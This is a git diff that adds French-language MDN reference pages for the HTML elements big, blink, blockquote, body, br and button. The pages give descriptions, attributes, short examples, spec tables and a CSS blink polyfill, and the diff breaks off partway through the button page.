+<p>Cet élément n'a aucun autre attribut en dehors des <a href="/fr/docs/Web/HTML/Attributs_universels">attributs universels</a> communs à tous les éléments.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Ceci est la première phrase.
+  &lt;big&gt;
+    Cette phrase est en grosses lettres.
+  &lt;/big&gt;
+&lt;/p&gt;</pre>
+
+<h3 id="Utilisation_du_CSS_pour_remplacer_&lt;big>">Utilisation du CSS pour remplacer <code>&lt;big&gt;</code></h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Ceci est la première phrase.
+  &lt;span style="font-size:1.2em"&gt;
+    Cette phrase est en grosses lettres.
+  &lt;/span&gt;
+&lt;/p&gt;</pre>
+
+<h3 id="Resultat">Resultat</h3>
+
+<p>{{EmbedLiveSample("Utilisation_du_CSS_pour_remplacer_&amp;lt;big&amp;gt;",300,200)}}</p>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cette élément implémente l'interface {{domxref('HTMLElement')}}.</p>
+
+<div class="note"><strong>Note d'implémentation : </strong>Jusqu'à Gecko 1.9.2 inclus, Firefox implémentait l'interface {{domxref('HTMLSpanElement')}} pour cet élément.</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.big")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{htmlelement("small")}}</li>
+ <li>{{htmlelement("font")}}</li>
+ <li>{{htmlelement("style")}}</li>
+ <li>Spécification HTML 4.01 sur <a class="external" href="http://www.w3.org/TR/html4/present/graphics.html#h-15.2">la mise en forme des polices</a></li>
+</ul>
diff --git a/files/fr/web/html/element/blink/index.html b/files/fr/web/html/element/blink/index.html
new file mode 100644
index 0000000000..1baca82026
--- /dev/null
+++ b/files/fr/web/html/element/blink/index.html
@@ -0,0 +1,82 @@
+---
+title: '<blink> : l''élément de texte clignotant (obsolète)'
+slug: Web/HTML/Element/blink
+tags:
+  - Déprécié
+  - Element
+  - HTML
+  - Obsolete
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/blink
+---
+<div>{{HTMLRef}}{{Deprecated_header}}{{obsolete_header}}{{Non-standard_header}}</div>
+
+<p>L'élément HTML <strong><code>&lt;blink&gt;</code></strong> (N.D.T <em>blink</em> signifie « clignoter ») est un élément non-standard faisant clignoter le texte qu'il contient.</p>
+
+<div class="warning"><strong>Attention :</strong> ne pas utiliser cet élément qui n'est pas standard et qui est obsolète. Le clignotement de texte est contraire à la plupart des standards d'accessibilité, la spécification CSS permet donc aux navigateurs d'ignorer la valeur <code>blink</code><strong>.</strong></div>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément n'est pas pris en charge et implémente donc l'interface {{domxref('HTMLUnknownElement')}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;blink&gt;ლ(ಠ_ಠლ)&lt;/blink&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cet élément est non-standard et n'appartient à aucune spécification. Pour vérifier, <a href="https://www.whatwg.org/specs/web-apps/current-work/multipage/obsolete.html#non-conforming-features">voir la spécification HTML</a>.</p>
+
+<h2 id="Prothèse_CSS_(polyfill)">Prothèse CSS (<em>polyfill</em>)</h2>
+
+<p>Si vous avez réellement besoin de cette fonctionnalité (!!!) vous pouvez utiliser le code CSS suivant qui fonctionne à partir d'IE10.</p>
+
+<pre class="brush: css">blink {
+  -webkit-animation: 2s linear infinite condemed_blink_effect; // pour Safari 4.0-8.0
+  animation: 2s linear infinite condemed_blink_effect;
+}
+@-webkit-keyframes condemed_blink_effect { // pour Safari 4.0-8.0
+  0% {
+    visibility: hidden;
+  }
+  50% {
+    visibility: hidden;
+  }
+  100% {
+    visibility: visible;
+  }
+}
+@keyframes condemed_blink_effect {
+  0% {
+    visibility: hidden;
+  }
+  50% {
+    visibility: hidden;
+  }
+  100% {
+    visibility: visible;
+  }
+}</pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.blink")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="http://www.montulli.org/theoriginofthe%3Cblink%3Etag">Histoire autour de la création de l'élément <code>&lt;blink&gt;</code></a></li>
+ <li>{{cssxref("text-decoration")}} qui possède une valeur pour le clignotement, bien que les navigateurs ne soient pas obligés de restituer cet effet</li>
+ <li>{{htmlelement("marquee")}}, un autre élément non-standard similaire</li>
+ <li><a href="/fr/docs/Web/CSS/Animations_CSS">Les animations CSS</a> sont la meilleure façon d'obtenir un tel effet</li>
+</ul>
diff --git a/files/fr/web/html/element/blockquote/index.html b/files/fr/web/html/element/blockquote/index.html
new file mode 100644
index 0000000000..31d38579c2
--- /dev/null
+++ b/files/fr/web/html/element/blockquote/index.html
@@ -0,0 +1,119 @@
+---
+title: '<blockquote> : l''élément de bloc de citation'
+slug: Web/HTML/Element/blockquote
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/blockquote
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément <strong><code>&lt;blockquote&gt;</code></strong> (qui signifie <em>bloc de citation</em>) indique que le texte contenu dans l'élément est une citation longue. Le texte est généralement affiché avec une indentation (voir <a href="#notes">les notes</a> ci-après). Une URL indiquant la source de la citation peut être donnée grâce à l'attribut <strong><code>cite</code></strong> tandis qu'un texte représentant la source peut être donné via l'élément {{HTMLElement("cite")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/blockquote.html","tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme pour tous les éléments HTML, on peut utiliser <a href="/fr/docs/Web/HTML/Attributs_globaux">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("cite")}}</dt>
+ <dd>Une URL qui désigne la source du document ou du message cité. Cet attribut est prévu pour signaler l'information expliquant le contexte ou la référence de la citation</dd>
+</dl>
+
+<h2 id="Notes"><a id="notes" name="notes">Notes</a></h2>
+
+<ul>
+ <li>Pour changer l'indentation de <code>&lt;blockquote&gt;</code>, on utilisera la propriété <a href="/fr/docs/Web/CSS">CSS</a> {{cssxref("margin-left")}} ou {{cssxref("margin-right")}} (ou encore la propriété raccourcie {{cssxref("margin")}})</li>
+ <li>Pour les citations courtes, on pourra utiliser l'élément {{HTMLElement("q")}}.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;blockquote cite="http://developer.mozilla.org"&gt;
+  &lt;p&gt;Ceci est une citation issue du Mozilla Developer Network.&lt;/p&gt;
+&lt;/blockquote&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","200")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, racine de section, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Contenu autorisé</dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Omission de balises</dfn></th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLQuoteElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-blockquote-element', '&lt;blockquote&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-blockquote-element', '&lt;blockquote&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.2', '&lt;blockquote&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.blockquote")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("q")}} qui permet de placer des citations en incise dans une ligne de texte.</li>
+ <li>{{HTMLElement("cite")}} qui permet d'indiquer la source de la citation.</li>
+</ul>
diff --git a/files/fr/web/html/element/body/index.html b/files/fr/web/html/element/body/index.html
new file mode 100644
index 0000000000..a4ea8947d5
--- /dev/null
+++ b/files/fr/web/html/element/body/index.html
@@ -0,0 +1,172 @@
+---
+title: '<body> : l''élément pour le corps du document'
+slug: Web/HTML/Element/body
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/body
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément <strong><code>&lt;body&gt;</code></strong> représente le contenu principal du document HTML. Il ne peut y avoir qu'un élément <code>&lt;body&gt;</code> par document.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme pour tous les autres éléments, on peut utiliser <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("alink")}} {{obsolete_inline}}</dt>
+ <dd>La couleur du texte quand les liens hypertextes sont sélectionnés. La propriété CSS {{cssxref("color")}} doit être utilisé à la place avec la pseudo-classe {{cssxref(":active")}}.</dd>
+ <dt>{{htmlattrdef("background")}} {{obsolete_inline}}</dt>
+ <dd>L'URI d'une image à utiliser en tant qu'arrière-plan. Cette méthode n'est pas conforme, on devra utiliser la propriété CSS {{cssxref("background")}} à la place.</dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{obsolete_inline}}</dt>
+ <dd>Couleur d'arrière-plan pour le document. Cette méthode n'est pas conforme, utiliser la propriété CSS {{cssxref("background-color")}} sur l'élément à la place.</dd>
+ <dt>{{htmlattrdef("bottommargin")}} {{obsolete_inline}}</dt>
+ <dd>La marge à appliquer en bas du corps de la page. Cette méthode n'est pas conforme, il faut utiliser la propriété CSS {{cssxref("margin-bottom")}} sur l'élément.</dd>
+ <dt>{{htmlattrdef("leftmargin")}} {{obsolete_inline}}</dt>
+ <dd>La marge à appliquer à gauche du corps de la page. Cette méthode n'est pas conforme. Il faut utiliser la propriété CSS {{cssxref("margin-left")}} à la place.</dd>
+ <dt>{{htmlattrdef("link")}} {{obsolete_inline}}</dt>
+ <dd>La couleur du texte à utiliser pour les liens non visités. Cette méthode n'est pas conforme, il faut utiliser la propriété CSS {{cssxref("color")}} avec la pseudo-classe {{cssxref(":link")}}.</dd>
+ <dt>{{htmlattrdef("onafterprint")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Fonction à appeler après que l'utilisateur ait imprimé le document.</dd>
+ <dt>{{htmlattrdef("onbeforeprint")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Fonction à appeler lorsque l'utilisateur lance une impression du document.</dd>
+ <dt>{{htmlattrdef("onbeforeunload")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Fonction à appeler avant que le document ne disparaisse.</dd>
+ <dt>{{htmlattrdef("onblur")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Fonction à appeler quand le document perd le focus.</dd>
+ <dt>{{htmlattrdef("onerror")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Fonction à appeler quand le document n'arrive pas à se charger correctement.</dd>
+ <dt>{{htmlattrdef("onfocus")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Fonction à appeler quand le document reçoit le focus.</dd>
+ <dt>{{htmlattrdef("onhashchange")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Fonction à appeler quand le fragment (la partie commençant avec le caractère #) de l'adresse actuelle du document, a changé.</dd>
+ <dt>{{htmlattrdef("onlanguagechange")}} {{experimental_inline}}</dt>
+ <dd>Fonction à appeler lorsque les langues préférées ont été modifiées.</dd>
+ <dt>{{htmlattrdef("onload")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Fonction à appeler quand le document a fini de charger.</dd>
+ <dt>{{htmlattrdef("onmessage")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Fonction à appeler quand le document a reçu un message.</dd>
+ <dt>{{htmlattrdef("onoffline")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Fonction à appeler quand la connexion réseau est perdue.</dd>
+ <dt>{{htmlattrdef("ononline")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Fonction à appeler quand la connexion réseau est restaurée.</dd>
+ <dt>{{htmlattrdef("onpopstate")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Fonction à appeler quand l'utilisateur se déplace dans son historique de session.</dd>
+ <dt>{{htmlattrdef("onredo")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Fonction à appeler quand l'utilisateur avance et refait un élément de l'historique de transaction.</dd>
+ <dt>{{htmlattrdef("onresize")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Fonction à appeler quand le document a été redimensionné.</dd>
+ <dt>{{htmlattrdef("onstorage")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Fonction à appeler quand la zone de stockage a changée.</dd>
+ <dt>{{htmlattrdef("onundo")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Fonction à appeler quand l'utilisateur recule et défait l'historique de transaction.</dd>
+ <dt>{{htmlattrdef("onunload")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Fonction à appeler quand le document disparait.</dd>
+ <dt>{{htmlattrdef("rightmargin")}} {{obsolete_inline}}</dt>
+ <dd>La marge à appliquer à droite du corps de la page. Cette méthode n'est pas standard, il faut utiliser la propriété CSS {{cssxref("margin-right")}} sur l'élément à la place.</dd>
+ <dt>{{htmlattrdef("text")}} {{obsolete_inline}}</dt>
+ <dd>La couleur à utiliser pour la police du texte. Cette méthode n'est pas conforme, il faut utiliser la propriété CSS {{cssxref("color")}} sur l'élément à la place.</dd>
+ <dt>{{htmlattrdef("topmargin")}} {{obsolete_inline}}</dt>
+ <dd>La marge à appliquer en haut du corps de la page. Cette méthohde n'est pas conforme, il faut utiliser la propriété CSS {{cssxref("margin-top")}} sur l'élément à la place.</dd>
+ <dt>{{htmlattrdef("vlink")}} {{obsolete_inline}}</dt>
+ <dd>La couleur de texte pour les liens hypertextes visités. Cette méthode n'est pas conforme, il faut utiliser la propriété CSS {{cssxref("color")}} avec la pseudo-classe {{cssxref(":visited")}}.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Titre du document&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;Et là un paragraphe…&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document#Racines_de_sectionnement">Racine de section</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>La balise d'ouverture peut être omise si le premier élément n'est pas un caractère espace, un commentaire, un élément {{HTMLElement("script")}}, ou un élément {{HTMLElement("style")}}. La balise de fermeture peut être omise si l'élément <code>&lt;body&gt;</code> a un contenu ou une balise d'ouverture, et qu'il n'est pas immédiatement suivi d'un commentaire.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Il doit être le second élément d'un élément {{HTMLElement("html")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLBodyElement")}}
+    <ul>
+     <li>L'élément <code>&lt;body&gt;</code> est accessible via l'interface {{domxref("HTMLBodyElement")}}.</li>
+     <li>Il est possible d'accéder à l'élément body grâce à l'attribut {{domxref("document.body")}}.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-body-element', '&lt;body&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Modification de la liste des fonctionnalités non conformes.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-body-element', '&lt;body&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Les attributs précédemment dépréciés sont désormais obsolètes. Définition du comportement des attributs non-conformes et non-standards <code>topmargin</code>, <code>leftmargin</code>, <code>rightmargin</code> et <code>bottommargin</code><strong>.</strong> Ajout des attributs <code>on*</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.1', '&lt;body&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Dépréciation des attributs <code>alink</code>, <code>background</code>, <code>bgcolor</code>, <code>link</code>, <code>text</code> et <code>vlink</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.body")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("html")}}</li>
+ <li>{{HTMLElement("head")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/br/index.html b/files/fr/web/html/element/br/index.html
new file mode 100644
index 0000000000..b49d301453
--- /dev/null
+++ b/files/fr/web/html/element/br/index.html
@@ -0,0 +1,135 @@
+---
+title: '<br> : l''élément de saut de ligne'
+slug: Web/HTML/Element/br
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/br
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <code><strong>&lt;br&gt;</strong></code> crée un saut de ligne (un retour chariot) dans le texte. Il s'avère utile lorsque les sauts de ligne ont une importance (par exemple lorsqu'on écrit une adresse ou un poème).</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/br.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> Attention, <code>&lt;br&gt;</code> ne doit pas être utilisé de façon abusive afin d'augmenter l'espace entre les lignes d'un texte. Pour cela, on utilisera la propriété <a href="/fr/docs/Web/CSS">CSS</a> {{cssxref('margin')}} sur l'élément {{HTMLElement("p")}}.</p>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme pour tous les éléments, on peut utiliser <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h3 id="Attributs_obsolètes">Attributs obsolètes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("clear")}} {{deprecatedGeneric('inline','HTML4.01')}} {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>Cet attribut indique où commencer la prochaine ligne après le saut de ligne.
+ <div class="note">
+ <p><strong>Note : </strong>Cet attribut est obsolète avec {{HTMLVersionInline(5)}} et ne doit pas être utilisé ! Il faut privilégier la propriété {{CSSxref('clear')}} à la place.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Mise_en_forme_avec_CSS">Mise en forme avec CSS</h2>
+
+<p><code>&lt;br&gt;</code> n'a aucun rôle purement stylistique et il sert uniquement à créer une rupture de ligne au sein d'un bloc de texte. Cet élément pourra très peu être mis en forme avec CSS.</p>
+
+<p>Bien qu'il soit possible d'appliquer une marge ({{cssxref("margin")}} sur les éléments <code>&lt;br&gt;</code> afin d'augmenter l'espacement entre les lignes de texte d'un même bloc, ce n'est pas une bonne pratique. Pour obtenir le même effet, on pourra utiliser la propriété {{cssxref("line-height")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">Maître corbeau, sur un arbre perché,&lt;br&gt;
+Tenait en son bec un fromage.&lt;br&gt;
+Maître renard par l'odeur alléché,&lt;br&gt;
+Lui tint à peu près ce langage...&lt;br&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","200")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Utiliser une suite d'éléments <code>&lt;br&gt;</code> pour uniquement rajouter un espace entre des paragraphes sera source de confusion ou de frustration pour les personnes qui utilisent des outils d'assistance. Les lecteurs d'écran, par exemple, pourront annoncer la présence de l'élément alors qu'il n'y a aucun contenu associé.</p>
+
+<p>Si on souhaite ajouter un espace supplémentaire, on utilisera plutôt la propriété CSS {{cssxref("margin")}}.</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Aucun, c'est un élément vide.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balise</th>
+   <td>Cet élément doit avoir une balise de début et ne doit pas avoir de balise de fin. Pour les documents XHTML, on écrira cet élément <code>&lt;br /&gt;</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLBRElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-br-element', '&lt;br&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-br-element', '&lt;br&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.3.2.1', '&lt;br&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.br")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("address")}}</li>
+ <li>{{HTMLElement("p")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/button/index.html b/files/fr/web/html/element/button/index.html
new file mode 100644
index 0000000000..be7ad23143
--- /dev/null
+++ b/files/fr/web/html/element/button/index.html
@@ -0,0 +1,255 @@
+---
+title: '<button> : l''élément représentant un bouton'
+slug: Web/HTML/Element/Button
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/button
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;button&gt;</code></strong> est utilisé afin de créer un contrôle interactif ayant la forme d'un bouton et qui pourra être utilisé dans un formulaire ou dans le document.</p>
+
+<p>Par défaut, les boutons HTML sont mis en forme avec les styles natifs provenant du système d'exploitation mais leur apparence peut être adaptée grâce à CSS.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/button.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément peut utiliser <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("autofocus")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Cet attribut booléen, qui ne doit être défini qu'une fois par document, indique au navigateur que cet élément doit automatiquement avoir le focus lorsque la page est chargée. Cela permet d'utiliser immédiatement ce bouton, via un raccourci clavier par exemple, sans avoir à cliquer au préalable dans le contrôle adéquat.</dd>
+ <dt>{{htmlattrdef("autocomplete")}} {{non-standard_inline}}</dt>
+ <dd>Pour l'élément <code>&lt;button&gt;</code>, cet attribut, propre à Firefox, n'est pas standard. Par défaut et à la différence des autres navigateurs, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">Firefox conserve l'état de désactivation d'un bouton</a> d'un élément {{HTMLElement("button")}} au fur et à mesure des chargements d'une page. Utiliser cet attribut avec la valeur <code>off</code> (i.e. <code>autocomplete="off"</code>) désactive cette fonctionnalité (cf. {{bug(654072)}} pour plus d'informations).</dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>La présence de cet attribut booléen indique que le contrôle est désactivé, c'est-à-dire non modifiable. Il apparaît souvent en grisé dans les navigateurs et ne reçoit plus les évènements de navigation (par exemple un clic de souris) ou ceux en relation avec le focus. S'il n'est pas défini, l'élément peut malgré tout hériter cet état de ses ancêtres, par exemple si élément {{HTMLElement("fieldset")}} désactivé. Par défaut le bouton sera activé.</dd>
